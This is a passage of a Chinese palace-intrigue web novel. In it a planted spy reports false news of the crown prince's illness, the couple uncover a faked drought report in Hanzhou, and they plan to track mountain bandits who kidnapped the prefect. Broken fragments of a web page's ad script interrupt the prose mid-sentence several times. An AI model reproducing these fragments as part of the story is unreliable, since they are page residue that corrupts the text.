穆归衡的目光随她而动,见她俯身捏起门帘一角,继而猛地掀开。 石涅来不及反应,还维持着将耳朵贴在门帘外偷听的动作。 “那、那个、我……”他想解释,却发现自己根本没有解释的余地。 好在太子和太子妃并未怪罪他偷听,石涅讪讪赔礼告罪之后,只能垂头丧气地回到自己帐中。 时异与他同住一帐,二人今日都无需值夜,因而早早便回来休息了。 共处这些日子,时异与石涅终于混熟了些,打探一些事情也变得容易许多。 此刻察觉石涅神情不对,他便直接问道:“你这是什么表情?不会踩到旺财的大粪了吧?” 石涅扯出一个苦笑:“我倒宁愿是这样呢。” 在追问之下,他把方才的事全都告诉了时异,还拉着他一起分析:“你说说,他俩到底会因为什么吵架呢?” 时异也猜不到内中缘由,但是只要江御暮与穆归衡生出嫌隙,就对安王殿下有利。 说起来,他已许久不曾给安王殿下传递消息了。 因其卧底在江御暮身边,无法随身带着信鸽,所以安王特地派了一队暗兵,悄悄跟随赈灾队伍前行。时异若打探到了重要消息,便可以找机会与暗兵接头,由他们快马加鞭赶回京城,将消息告知安王。 单是一条“太子与太子妃吵了架”的消息,也许还不算很重要,但若能搞清楚他们吵架的缘由,这消息的分量就不一样了。 “他们既吵了架,你怎么不去劝劝呢?”时异引导道。 “别站着说话不腰疼了!”石涅才不去做这个出头鸟呢,“有本事你去劝啊?” 他没想到的是,时异还真敢去,只不过在帐门外被人拦了下来。 “阿乐?” 易容后的江唤玥化名阿乐,一直以归籍流民的身份跟在他们的队伍里。除江御暮和费杏林外,再无一人知晓她的真实身份。 “你拦我做甚?”时异问道。 江唤玥拦他自然是为了完成长姐交代的任务。 江御暮说了:“最好能在今明两日之内把这个消息告诉他,以便卡准时机,配合红英在京城的行动。” 在时异面前,江唤玥总是一副天真率性的模样,反过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来问他:“时异哥,你要做什么去?” 时异知道江御暮一直很照顾这个女孩,既然她们关系那样好,阿乐会不会比石涅知道更多内情呢? “不做什么。”时异说完又觉得自己回答得不好,继而改口道,“我也正想找你聊聊天呢。” 江唤玥莞尔一笑:“好啊,咱们去河边聊聊吧,那里人少,清净。” 时异与她一起行至营外河畔,先佯装随意,闲扯了几句无趣的话题,半晌才问起自己真正关心的事:“对了,我听石涅说太子殿下和太子妃大吵了一架,你可知道此事?” 江唤玥先是一愣,心道:吵架?没听说啊!穆归衡还敢跟我姐吵架? 但她很快就调整好了表情,摆出一副讳莫如深的模样:“唉,说来话长啊……” 她正愁不知怎么给他放消息才能显得自然而不突兀,不引人怀疑呢,既然时异自己给她递上了合适的话题,她便给他玩一招移花接木吧。 时异见她知道内情,顿时大喜过望,催促道:“没事,你直说便是!” 江唤玥停下脚步,神秘兮兮地向四周张望一番,继而压低声音道:“此事非同小可,看在你是江姐姐贴身护卫的份上,我只告诉你一个人,你可千万不要外传啊。” 时异急忙发誓,保证绝不外传。 眼见铺垫得差不多了,江唤玥这才长叹道:“他们吵架是因为……太子殿下的旧疾复发了,而且比以前还严重。但太子殿下太要强了,江姐姐要给他请郎中,他却偏不答应,说是怕浪费时间,耽误了赈灾大事。” 时异没想到答案竟如此令人惊喜,反复确认道:“太子殿下病得很严重吗?我怎么一点也不曾察觉?” 江唤玥又是一叹,蹙眉道:“可严重了!听江姐姐说,殿下夜夜咳血,身体越来越虚弱了。但他怕大家担心,所以平日一直强撑精神,不肯让人看出破绽。” 时异越听越兴奋,尽管尽力克制着,却还是被江唤玥察觉了神情有异。 但她并未戳穿,只是再三叮嘱道:“时异哥,你可千万别在殿下面前表现出你知道此事啊,否则他肯定会责怪江姐姐,认为是她把此事告诉你的。” 时异漫不经心地拍拍她的脑袋:“放心,我不说,我不说……” 夜里回到帐中,时异辗转反侧,不敢入睡。 等到帐外一片寂静,应该只剩下几名值夜的禁军还在,他这才悄悄起身,无声向帐外走去。 “时异,你做什么去?”石涅的声音忽然从斜下方传来。 时异猛地一惊,肩膀不受控地缩了缩,用尽量平淡的语气说道:“好像有点吃坏肚子了,我去外头方便方便。” 石涅也坐起身来披上衣裳:“正好,我也去撒泡尿。” 时异只得与他同行,不无哀怨道:“这么晚了,你还没睡着啊?” 石涅苦恼道:“是啊。总想着殿下和太子妃吵架的事,根本睡不着。诶,你不也是吗?我听你时不时就翻个身,也在为他们担心吧?” 时异咬牙道:“嗯,担心。” 担心的是……今夜的重要情报不会送不出去了吧!? 84. 觅蛛丝喜得井中水,追马迹惊悉…… 事实证明,时异的担心是多余的。石涅方便完就回去睡觉了,并没有对他的去向多加注意。 时异从小路溜出营外,顺着来时的路往回走了一炷香的工夫,终于在路旁的一棵树边停下脚步。 树旁拴着几匹马,马鞍上的花纹他再熟悉不过了。看来,安王殿下派来的暗兵就潜藏在附近。 他按照约定好的调子吹出一记口哨,一名黑衣人随即从树上跃下,站定在他身前。 “就你一个人?”时异惊讶道。 “其他人藏在别处,你每次只见一个人就够了。”黑衣人解释道,“否则万一你被太子的人跟踪,我们岂不是要被一锅端了?” “放心吧,我一路上反复确认过了,并没有被人跟踪。”时异自信满满道,“而且我在他们面前一直很谨慎,从来没有被怀疑过。” 黑衣人并不关心他的潜伏是否成功,亦不在意他处境如何,只急着问道:“你来找我们,是打探到什么重要的消息了吗?” 时异毫无保留,将江唤玥的那番话全都转述给了他。 黑衣人听罢也欣喜起来:“如此说来,太子岂非命不久矣?” 只要他死了,皇帝再立储君时,安王殿下肯定会是不二人选。到那个时候,他们这些为安王效力的人便也能鸡犬升天了。 黑衣人即刻翻身上马,连夜往京城赶去。时异也不敢耽搁,立时赶回营中,生怕拖得太久会被石涅怀疑。 不过这个担心也是多余的,待他回到帐中,石涅已经睡着了。 一夜风平浪静,次日再启程时,一行人已经离涵州城不远了。 城外三十里有一片村落,赈灾队伍行至此处,穆归衡便提出要去查看一番。 此时刚好到了晚饭时分,禁军们奉命开始扎营,江御暮和穆归衡则带着各自的贴身护卫进了村。 村子不大,也就几十户人家的样子。四下万籁俱寂,家家户户都空无一人。 石涅有些瘆得慌,被风吹得打了个寒战,低声问道:“这村子怎么这么冷清啊?就算闹了饥荒,也不至于一个人都没有吧?” 没有人能回答他的问题,因为大家都有相同的疑问——除了江御暮,她对这个问题的答案心如明镜,却不可能向他们透露半分实情。 因着屋主不在,众人也不好直接进屋查看情况。整座小村子只有一条主道,很快就走到了尽头。 石涅忽然想起:“对了,阿乐和她娘不是涵州城外的村民吗?怎么不找她们来问问?” 江御暮答得随意而自然:“她们是王家村的,在涵州城东二十里。这是城西,离王家村颇远,她们八成也不甚了解。” 时异对穆归衡提议道:“殿下,要不咱们先回营吧。等明日进了涵州城,再找个熟悉当地情况的人打听消息也不迟。” 穆归衡旋即否决了他的提议,对江御暮道:“不太对劲。” “什么?”江御暮一味装傻。 穆归衡认真分析道:“父皇有一句话没有说错——若真有极为严重的旱灾,必定影响极广,灾星不可能只盯准了一个涵州城。” 这两日,他行路时一直在观察附近的山水树木,越看越觉得事有蹊跷。 “远的且不说,你们就看这村中的树木。” 其余三人顺着穆归衡手指的方向看去,虽然天色已晚,光线不足,却也能看出屋前屋后树木葱茏,色彩浓重。 穆归衡接着说道:“此地若真有旱灾,怎么可能只造成农田颗粒无收,而不使这些树木一同枯死呢?” 石涅听罢拊掌道:“殿下说得对啊!卑职怎么就没想到呢?” “行了,少拍马屁。”穆归瞥他一眼道,“这个村子几乎每家院里都有水井,本宫若没有猜错,这些井一定没有干涸。” 他话音一落,石涅与时异便分头翻入两家院内,各自找井打水。 不多时,二人便带着同样的结论回来了。 “殿下所料不错,这些井里果然都有水!” 穆归衡面色凝重,决定最后再确认一次。 “这种村落附近一定会有农田,既然此村只有东西两个出口,咱们四人便分两头出去寻找吧。” 时异本以为江穆二人会带着各自的护卫分头去找,正准备往江御暮身边走去,却被石涅拦住了。 “你傻呀?”石涅恨铁不成钢般给他传授经验,低声道,“再怎么‘分头’,也不能把人家小两口分开呀!” 时异想了想,跟石涅一起行动总比待在江御暮身边轻松许多,便也从善如流,随他一起从村东头的出口离开了。 江御暮和穆归衡一路向西,仅走出一里多地便看见了大片农田。 远远望去,田里似乎只有枯黄的野草。走近细看,方知这是一块刚刚收割过的麦田,整片土地没有一丝因久旱而干燥开裂的痕迹。 穆归衡蹲身拾起半截遗漏的麦穗,观其品质,也并无受过旱灾的迹象。 难道父皇的判断才是对的?涵州没有受灾,刺史周望安假报灾情,就是为了骗取赈灾款? 可是逃去京城的那些流民又该如何解释?他们口口声声说着涵州大旱,难道也是在周望安授意下撒的谎? 穆归衡心乱如麻之际,江御暮伸手抚上他的肩膀,柔声宽慰道:“咱们先回营吧,今晚找阿乐她们好好谈一谈,问个清楚。” “嗯。”穆归衡愁眉不展,似乎在为自己当初的错误判断而懊悔,“也只能这样了。” 四人在村口会面后,石涅和时异也禀明了自己的所见所闻,与江穆二人这边如出一辙。 回营草草吃完饭,石涅便去给费红英和江唤玥传话。 少倾,他独自一人慌慌张张跑了回来,回禀道:“殿下,她们不见了!行李也都带走了!” “不见了?”穆归衡倏地站起身,“可有人瞧见她们去哪了?又是何时离开的?” 石涅立即出去打听了一圈,带回来一名禁军哨兵。 哨兵答道:“禀殿下,方才您带人去村里查看情况,刚离开没多久,她们便带着行李走了,说是您让她们先回家。怎么,您不知道这事?” 穆归衡冷笑一声:“好,很好。” 事情越来越不简单了。 穆归衡取出自己的令牌交给石涅,吩咐道:“你去一趟涵州城,让周望安现在就来面见本宫。” 石涅领命,策马而去,不到一个时辰便带着人回来了。 但他带来的不是涵州刺史周望安,而是他的师爷周祥。 周祥年逾四十,留着连鬓的络腮胡,乍看不像师爷,倒像是个武夫。细看就更奇怪了,这样五大三粗的汉子,脸上竟然顶着两道新鲜的泪痕。 石涅让他在帐外等候, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己先进去通传一声。 穆归衡听闻来者不是周望安,疑惑道:“周刺史不在城内吗?” 石涅叹了口气:“此事说来话长,还是让周祥师爷自己跟您讲吧。” 江御暮在一旁插话道:“太子殿下会见外臣,我还是先回避吧。” “不必多此一举。”穆归衡按住她的手,“反正等人走了,我也要跟你聊起此事,还不如省些说话的力气,直接让你留在这听听呢。” 语毕,穆归衡将周祥唤进帐内,开门见山道:“周望安现在何处?为何不敢来面见本宫?难道是做了什么亏心事,怕与本宫对质不成?” 周祥跪在江穆二人面前,一听此话便红了眼眶,两道浓眉撇成了“八”字,带着哭腔回道:“殿下!求您救救我们刺史大人吧!” 穆归衡不意他的情绪会有如此剧烈的起伏,狐疑道:“救他?他犯什么事了,要本宫出手救他?” 周祥用力摇了摇头,跪行几步,抬头望着穆归衡道:“周刺史不是犯了不该犯的事,而是得罪了不能得罪的人!” 穆归衡并不信他,讥讽一笑道:“什么人?说来听听。” “是山匪!”周祥的情绪愈发激动起来,“殿下有所不知,涵州城北的寻雁山上有个寨子,盘踞着数百名山匪,动辄下山烧杀抢掠,百姓一直苦不堪言,算来已有三年之久了。而今刺史大人他……他也被……被山匪抓走了!” 听完这番话,穆归衡的神情瞬时变得严肃许多,质问道:“荒唐!涵州官员怎能放任山匪作乱三年之久?难道周望安不曾派州兵剿匪吗?” “派了,自然派了。”周祥皱眉耷脸,“可那寻雁山地势特殊,易守难攻。州兵几次进山剿匪都落败而归,三年下来,折损了大半兵士,更是无力与山匪抗衡了。” 穆归衡疑道:“你们为何不再多招些州兵?” 周祥长叹道:“兵部银钱吃紧,拨下来的钱粮一年少过一年,臣等实在养不起那么多州兵啊!” 穆归衡又问:“不能从临近几州借兵一同剿匪么?” 周祥仍是摇头:“若无陛下首肯,地方官员私自借兵调兵都是重罪,臣等就是有一百个头也不够砍啊!” 穆归衡双眉紧蹙,怒喝道:“既然如此,尔等为何不早早将此事上报朝廷!?若非本宫亲至涵州,你们还要隐瞒多久?” 周祥闻言,一脸无辜道:“殿下,刺史大人早在三年前就给陛下上书,奏明山匪作乱之事了,奈何陛下从无回应。三年间,刺史大人一共上书六次,谁料都如泥牛入海,再无消息啊!” 惊诧之下,穆归衡久久没有出声。 皇帝早就知道涵州有山匪作乱?为何京中一点风声都没有? 是皇帝有意压下此事吗?可他为什么要这么做呢? 穆归衡沉思之际,并未察觉身旁的江御暮与周祥有过几次短暂的眼神接触。 他当然思索不出答案。 因为周望安从未在奏折中提过寻雁山的所谓“山匪”。 但是此时此刻,穆归衡根本无法向皇帝求证此事。 帐内静默许久,江御暮给周祥使了个眼色,后者会意,从怀中掏出一封书信,双手捧至穆归衡面前。 “启禀殿下。”他开口时再度带上哭腔,“这是山匪掳走周刺史后,留在公堂之内的一封手书,请殿下过目!” 85. 周师爷自述良苦心,宁问归再现…… 这封书信字迹遒劲,看得出笔力非凡,但行文却用词粗浅,不成格式。 写信之人直言自己派手下山匪掳走了涵州刺史周望安,让官府在三日内凑齐赎银万两,由师爷周祥亲自送上寻雁山,到时他们自会放人。 穆归衡不愿轻信这些说辞,质疑道:“堂堂一州刺史,怎会轻易叫山匪绑了去?怕不是官匪勾结,借此敛财吧?” 周祥大呼冤枉:“太子殿下明鉴,周刺史可是涵州城内人人称道的好官呐!您若不信,大可入城随意走访,向百姓们问个清楚。” “好官?”穆归衡把书信扔回他膝前的地上,“若是好官,怎敢欺君罔上,谎报灾情?如今本宫刚到涵州,他就被所谓山匪给掳走了。本宫怎么觉得,这是他逃罪塞责的金蝉脱壳之计呢?” 周祥闻言,泪水再次夺眶而出,双唇微微颤抖着说道:“殿下明鉴……是,周刺史的确谎报了灾情,但此事并非他一人所为!包括微臣在内,涵州从五品以上所有官员都参与其中!殿下若要治罪,微臣和诸位同僚都不会推脱,但求殿下先将赈灾粮款发放给涵州各地的百姓,再处置我们也不迟啊!” 穆归衡听罢蓦然一怔,江御暮适时插话道:“既然灾情是假,涵州的百姓为何还需要救济?” 周祥用袖子拭去泪水,无奈道:“旱灾是假,匪灾是真。这三年来,涵州百姓深受山匪之害。起初他们只是偶尔下山抢掠,对官兵还有些忌惮。可是后来官府剿匪连连失败,他们就愈发嚣张了。” 江御暮继续帮他推进这个话题:“如何嚣张?” 周祥道:“时至今日,这帮山匪已经很少下山抢掠了,转而要求城郊各村的农户定期给他们上贡粮食,而且往往狮子大开口,几乎不给人家留下多少余粮。农户若拒不上贡,他们就趁夜下山,闯进村内大开杀戒。唉……正因如此,许多村民都弃家而逃,涵州城附近的村子也渐渐荒废了。” 江御暮叹息一声,对穆归衡低声道:“怪不得咱们今晚去的那个村子空无一人。” 周祥颓然垂首:“山匪不曾出现时,城外农户的余粮尚能稳定销往城内。可是现在呢?他们自己都无粮可食了,城内的百姓自然也无处买粮。官府虽能开仓放粮,却也维持不了多久。殿下容禀,周刺史之所以谎报灾情,骗来赈灾粮款,就是为了让涵州城的百姓活下去啊……” 穆归衡的双拳渐渐紧握,看得出他此刻已然怒极,但他的声音却比方才温和了许多。 “起来说话吧。”他看着周祥说道,继而又转向石涅,“给周师爷搬一把椅子来。” 周祥跪得太久,双腿有些发麻,扶着膝盖慢慢站起来,捡起书信诚惶诚恐道:“多谢殿下赐座。” 待他坐稳,穆归衡才接着问道:“既然如此,为何逃去京城的流民绝口不提山匪,反而都说涵州遇了旱灾呢?” 周祥欲言又止,不知在担心什么。 穆归衡正色道:“你不必有什么顾虑,直言便是。” 周祥这才开口:“殿下有没有想过,既然这三年来,周刺史曾六次上书朝廷,言明涵州山匪之害,陛下却是为何从无回应呢?” 穆归衡也觉得奇怪,如果说皇帝对旱涝之灾不管不顾,是因为舍不得花费大笔银钱赈灾,倒是说得通。或许在他看来,天灾不可能年年都有,既然今年遇上了,就算他们倒霉,死一批人也就没事了,不会给皇帝造成其他麻烦。 但匪灾不一样。 若不早早斩其根基,而是放任他们的势力不断扩张,便终有一日会给朝廷带来难以遏制的疾患。 退一万步说,就算皇帝认为小小山匪成不了什么大气候,最多能做到盘踞一方,无力给他的统治造成根本性的威胁,他也不可能只作壁上观吧?否则不是相当于把整座涵州城都拱手让人了吗? 想到这里,穆归衡不禁疑道:“你们确定那些奏折都送到陛下手中了吗?” 周祥一拍大腿:“微臣就是在怀疑这一点!” 他左右看了看,满目防备地压低声音,稍稍向前倾身道:“殿下您也知道,地方官员的奏折并不能直接呈到陛下面前,送去京城以后,要先经过阁台的筛查,确认官印无误,才能统一交给陛下。也就是说,阁台的官员能看到每一份奏折的内容。” 穆归衡会意:“你是在怀疑——阁台有人从中作梗,私自拦下了周望安上报匪灾的奏折?” 周祥点点头,唉声叹气道:“倘若真是这样,想必此人身后一定颇有势力,说不定早就与这些山匪有所勾结。正是出于这一层考虑,周刺史才会遣人私下告知那些有意外逃的百姓——倘若去了京城,千万不要乱说话,否则一旦得罪了暗处的虫豸,只怕要遭到他们的报复。” 江御暮继续给他递话:“若真有人从中作梗,他为何不拦下这次报灾的奏折呢?” “微臣觉得原因有二。”周祥掰着手指头答道。 “一方面,这份奏折并无一言半句提到山匪之事,即便呈交陛下,也不会暴露他们的踪迹,所以没有必要阻拦。” “另一方面,如果陛下信以为真,派遣钦差前来赈灾,这些山匪便可趁机杀人抢粮,从中渔利。” 语毕,周祥已是满面愁容,规劝道:“殿下,此地距寻雁山已不足百里,又是一片平野,无遮无蔽,您今夜在此扎营实在太过危险,还是尽快随微臣入城去吧。有城墙拦着,他们不敢太过放肆。” 穆归衡知道,他迟早要带兵与山匪一战,但不能在今夜。 眼下最重要的事,是将赈灾银粮安全送入涵州城内,绝不能出岔子。 于是他唤来石涅,严肃道:“传令拔营,所有人戒备外敌,加快脚程,夜入涵州!” 出发前,穆归衡特地将自己的长弓和箭筒交给江御暮。 “比武招亲那日的弓?”江御暮掂了掂分量,又试了试手感,都很熟悉,“你给我这个做什么?” 穆归衡眸中忧色不散:“你不是把自己的剑送给袁清了么?万一路遇山匪,总不能连个趁手的兵器都没有。” “那你呢?”江御暮问,“把自己的弓给我了,你用什么?” 石涅等候在旁,此时很有眼色地递上一把长剑。 穆归衡接过剑在她眼前晃了晃:“你忘了?我还有它可用呢。” 江御暮记得这把剑。 “营救”江连镜那天夜里,她因为舍不得看好兵器被糟践,曾阻止穆归衡用这把剑劈开门锁。 “说起来,我还没看过你使剑呢。”她轻声道。 穆归衡扯出一个苦笑:“希望今夜一路平安,我这把剑不必出鞘。” 听闻涵州附近有山匪出没的消息,禁军们都打起了精神。可是与 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此同时,心里也难免有些没底。 他们只有一百个人,算上太子和太子妃带来的护卫,也就多了几个零头而已。万一寻雁山的几百个匪徒倾巢而出,他们怕是难以抗衡啊。 紧张的气氛久久不散,所有人都瞪大眼睛,竖起耳朵,不敢放过任何一丝风吹草动。 约莫过了半个多时辰,穆归衡忽然抬手示意退伍停止行进。 禁军们屏气凝神,静静向四周张望,同时侧耳细听,隐约能听到远处有时断时续的马蹄声。 众人如临大敌,立时面朝声音传来的方向执刀而立,护住银车和粮车。 良久,远方没再传来任何可疑的声响。 众人丝毫不敢松懈,僵持之际,几乎连眼睛都忘了眨。 周祥见状,对穆归衡提议道:“殿下,要不让微臣带一支小队,骑马过去探一探?” “不必。”穆归衡思索片刻,拒绝道,“诱敌之计而已,切莫上钩。他们的人数一定不多,因而不敢与我们正面交手,只能用这种手段吓唬人。” 语毕,他命令众人不必慌乱,放心前行。 剩余半程路途中,果然没再出现任何异状。一行人顺利进了涵州城,将银车和粮车停入官衙府库,清点完毕后终于可以休息了。 百名禁军被安排去城防兵的大营中暂住。原是能容纳五百人的兵营,如今就算加上这些禁军,也只剩三百余名兵士了。 按理说,太子和太子妃等人应当住在官署的厢房中,但穆归衡坚持要住客栈,周祥也不好干涉。 穆归衡拒绝了周祥陪同引路的提议,自己带人去找合适的客栈。 此刻已是半夜,街上少有亮光。找寻少倾,一行人在两盏灯笼下停住了脚步。 既然亮着灯笼,就说明此店尚未打烊,此时仍可入住。 定睛再看,那两盏灯笼中间挂着一张招牌,上书“一家客栈”四个大字。 “怎么叫了这么个名字?”石涅笑道,“这掌柜的若是开家酒楼,难道也叫‘一家酒楼’?开家书铺,也叫‘一家书铺’?” 江御暮打趣道:“小石护卫可真好学,还会举一反三呢。” 说着,她上前推开店门,向柜台的方向看去。 “哟,这么晚了还有客人啊?”客栈掌柜放下账本,并未上前迎客,语气冷冰冰的。 除了江御暮,其他几个人全都在看清他的脸后为之一惊。 其中以时异最为惊讶。不,应该说是惊惧。 “怎、怎么会是……他……”惊惶之下,时异喃喃道出了心声。 “一家客栈”的掌柜竟然是宁问归!? 他不是死了吗?江御暮亲手杀的,时异亲眼看—— 不,不对。时异并没有亲眼看见她杀了他,只看见了宁问归的“尸体”而已。 “宁公子,好久不见。”江御暮挽上穆归衡的胳膊,主动与他打招呼。 时异站在她身后,目光紧紧盯住宁问归,不料竟与对方的目光撞上了。 “好久不见。”他说。 这句话也许是对江御暮说的。 可是他说这句话的时候,为什么一直盯着时异的眼睛呢? 他在享受他的惊恐吗? 时异急忙收回目光。 看来,这次涵州之行比他预想的更加凶险。 86. 宁问归受托扮掌柜,江御暮执意…… 穆归衡之所以坚持要住在客栈里,是觉得这样更方便深入民间打探消息。若是住在官署里,只怕遇见的所有人都早已和周祥统一口径。 归根结底,他对周祥并没有百分百的信任。 但穆归衡没有想到,这家客栈的掌柜居然会是宁问归。 眼睁睁看着他和江御暮互相道完“好久不见”,穆归衡隐隐察觉他的话中似乎带着敌意。 果不其然,宁问归的下一句话便是:“太子殿下大驾光临,在下本应倒屣相迎,奈何小店没有空房,恕不接待。” 江御暮好像有些不满,上前两步在一张方桌上抹了一把,语带讥讽笑道:“你们家客栈这样疏于打扫,确实不够格请太子殿下留宿。” 宁问归不甘示弱:“本店是涵州城内最大的客栈,既然无缘赚到太子殿下这份钱,诸位还是另寻住处吧。哦,在下差点忘了说,本店是涵州城内唯一一家夜晚不会打烊的客栈。诸位若是不信,就自己去验证一番吧。” 眼见别无他法,一行四人只得回到官署住下。 他们离开以后,真正的客栈掌柜才现身,对宁问归道完谢又开始道歉。 “这么晚还把你叫起来平事,怪打扰的,快回去睡吧。” 宁问归不甚在意地笑了笑:“谭夫人言重了,为二位殿下分忧本就是我应尽之责。再说了,除我以外,还有谁能这么顺利地把太子膈应走呢?” 若不把他膈应走,穆归衡又怎么能回到官署,看到他们安排好的夜场戏呢? “那是谁的屋子,为何这么晚了还亮着灯?”穆归衡一进官署便察觉异常,向引路的仆役问道。 “回殿下,那是刺史大人处理公务的屋子,此刻是周师爷在屋里,说是有事要忙。” 穆归衡听罢,扭头对江御暮商量道:“你先去休息吧,我去看看。” 江御暮捏住他的手,坚持道:“我不困,还是跟你一起去吧。” 穆归衡没有拒绝,又对两名护卫吩咐道:“你们去睡吧。” 石涅牵着旺财,一人一犬都已困极,谢完恩便急着回房休息,只是出于同僚情谊,少不得要等时异一起走。 然而时异从方才见到宁问归的那一刻起,困意便已尽数消散,急于把这个消息传给安王殿下,于是对太子道:“殿下,咱们初来涵州,人地两生。不妨让卑职去城内巡查一夜,也好熟悉熟悉地形,顺便找一找其他适宜下榻的客栈。” 石涅诧异地看他一眼,腹诽道:真是奇了,这人怎么总上赶着给自己找活干呢?普天之下,竟还有这样以忙碌为乐,以清闲为忧的人?我如今可真是开了眼界了。 于是二人分头而行,无可赘言。 江御暮和穆归衡则一同走向不远处灯火通明的房间,轻轻敲响了房门。 “谁呀?”门内周祥的声音有些疲乏,“不是跟你们说了,不要来打扰本官吗?” 江穆二人对视一眼,穆归衡率先开口回应道:“这么晚了,不知周师爷在忙些什么?” 周祥一听是太子的声音,赶忙打开房门,同时连连赔礼致歉:“微臣不知是殿下敲门,多有冒犯,请殿下恕罪。” “无妨。”穆归衡与江御暮一同走入屋内,立时闻到一股酒气。 再看面前的桌子上,果然摆着一个酒坛,一只酒碗,碗里还剩一层酒底,一闻便知此酒甚烈。 “周师爷这是在……借酒消愁?”江御暮问。 “不。”周祥自嘲一笑,“不是消愁,是壮胆。” “壮胆?”江御暮引导他继续往下说,“难道这官署还不够安全么?” 周祥摇摇头,长叹道:“周刺史已被掳走两日,按照山匪信中所述,明日就是微臣上山赎人的日子了。微臣知道,此去未必能活着回来。但刺史大人对微臣有知遇之恩,微臣不能不为他冒这一次险。所以想先喝些酒,给自己壮壮胆子。” 穆归衡去桌旁坐下,询问道:“山匪索要的万两赎银,你们可凑齐了么?” 周祥挪动两步,朝地上的木箱子踢了一脚,颓然道:“诸位同僚都已尽力,却只凑了半箱,不过三千余两,还差得远呢。” 穆归衡试探道:“官衙府库现下便停着两辆银车,你为何不向本宫求助,从中取一部分银子赎人?” 周祥仍是摇头:“那些都是赈灾的银钱,怎可挪作他用?” 穆归衡闻言面露赞许之意,江御暮却蹙眉道:“你若就带着这半箱银子进山,岂非与找死无异?” 周祥又开始落泪:“若想救回周刺史,微臣只有这一条路可走。哪怕它是九成九的死路,微臣也不能回头啊。” 穆归衡虽也起了恻隐之心,却无法说出违心的安慰之语,忍不住直言道:“即便你凑齐了万两纹银,尽数送往山中,也不可能赎回周刺史。以山匪之穷凶极恶,怎么会信守诺言呢?到时候,只怕你和周刺史都会成为他们的刀下亡魂。” 周祥沉默片刻,饮尽半碗残酒,抹抹眼睛道:“那……殿下您的意思是?” “出兵剿匪。”穆归衡斩钉截铁道,“或许此举一样救不回周刺史,但只要能成功攻破匪寨,至少可以保住涵州百姓的安定。” 周祥的回答却让他失望了:“殿下有所不知,我们虽已数次出兵剿匪,但是时至今日,仍然连匪寨的具体位置都没有摸清。每次出兵,都在半途的密林之中大败而归。若说要攻破匪寨,何其难也!” 江御暮配合着发问:“既然你不知匪寨位于何处,又如何能将赎银送进他们手里?” 周祥答道:“山匪在信中说了,让微臣于明日午时整,独自带着银子赶到寻雁山下的一家酒馆内,他们会派人来与微臣交易,取走银子后,再放周刺史下山。” “酒馆?”穆归衡疑道,“这种地方,不是往往人多眼杂么?他们怎么会将交易地点选在这里?” 周祥道:“三年前,那家酒馆确实生意不错。但是自从寻雁山闹起了山匪,那间馆子很快便荒废了,没什么人愿意靠近那里。” “原是如此。”穆归衡陷入更深的思索。 江御暮与周祥交换一个眼神,正色道:“这些银子虽远远不足万两之数,但明日来与你交易的山匪一定会把它们带回寨子里,对吗?” 周祥佯装思考片刻,点头道:“是。送到嘴边的肥肉,就算块头不大,他们也不可能吐出来的。” 江御暮微微一笑:“好,明日我便与你同去。” 穆归衡闻言一惊,正要开口阻拦,却晚了周祥一步。 “万万不可啊!”周祥双目圆瞪,“山匪说了,微臣必得独自前去交易,若敢带其他人一同前往,周刺史就必死无疑了!” 江御暮接着补充道:“我当然不会在明面上出现了,放心,不会打草惊蛇的。” 穆归衡已经猜到了她想做什么:“你打算暗中跟踪前来取银子的山匪,从而找到他们山寨的具体位置?” 江御暮对他点点头:“正是。” “不行!”穆归衡用力握住她的手,态度强硬道,“此举太过冒险,我怎能让你——” “为何不能?”江御暮打断他道,“倘若错过明日这个机会,我们又该如何摸清寻雁山内匪寨何在?” 穆归衡也知道明日是探查敌情的最佳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 契机,但他实在不愿让江御暮去冒九死一生之险。 他知道她性子倔强,强行阻拦肯定不妥,只能软语相劝:“先别急着定下计划,咱们可以慢慢商议,多找些人来配合——” 江御暮再次出言打断:“人越多,暴露的风险就越大,配合起来也越麻烦。倒不如让我孤身前往,还少些负累。” 穆归衡仍不退让:“即便如此,又为何非得是你?” 江御暮对上他急切的眼神,淡然道:“一百个禁军,加上咱们的几个护卫,你若能从中挑出一个武艺强于我的,我便退居其后。” 穆归衡张了张口,终究还是语塞了。 江御暮继续劝道:“让我去,就算被他们发现了,我也很有可能顺利脱身,平安归来。但若让旁人去,万一被发现了,便有送命的风险。” 穆归衡心知她去意已决,自己再如何阻拦也是徒劳,只得退一步道:“好,你可以去,前提是必须让我随你同去。” “不行!”这次轮到江御暮强硬拒绝,“从明日开始,官府便要将赈灾银粮发放给涵州百姓了,你必得在此坐镇,监督他们各司其职。你若缺席,还有谁能挑起这个大梁?” 穆归衡无法反驳,事实的确如此。探查山匪的底细很要紧,但赈济百姓更加要紧,他必得分清孰轻孰重。 “可是……你孤身涉险,让我如何放心得下?”他仍旧迈不过那道坎,语气近乎祈求,“至少……至少带上石涅一起,好不好?” 江御暮轻叹一声,状似勉为其难道:“这样吧,让时异跟我一起去。比起石涅,他与我相处的时间更长,也更有默契。这样行吗?” 穆归衡面色凝重,双眉紧皱,与她对视良久,却迟迟说不出一个“行”字。 江御暮双手覆上他的手背,柔声道:“你是不是怕我会死呀?” “别说那个字!”穆归衡向前凑了凑,低声道,“不吉利。” 江御暮对他露出一个自信的微笑:“放心吧,我一定不会‘不吉利’的。万一事败被擒,我便告诉他们我是太子妃,让他们给你写信,要多少赎金都行。看在银子的份上,他们肯定不会马上取我性命。” 说着,她渐渐与穆归衡十指相扣。 “到时候,你还有机会来救我呀。” 穆归衡望着她的双眸,沉默许久,终于出了声。 “保命为上,适时抽身。” 江御暮知道,他这便是同意的意思。 “好,一言为定。”她说。 “我还没说完。”穆归衡又补充道,“只查明匪寨的位置即可,切莫深入匪寨查探地形,更不要在山中久留。” 江御暮点点头:“知道了,还有吗?” 穆归衡想了想,又说:“咱们约定一个时间吧,倘若你过时未归,我便知道你出事了,也好早做应对。” 江御暮思考片刻道:“三日为限,如何?” “太久了。”穆归衡不满道,“一日为限,快去快回。你答应过我不在山中久留的,哪里用得了三日?” “好吧,一日就一日。”江御暮答应下来,“从明日午时算起,十二个时辰之内,我一定回来见你。” 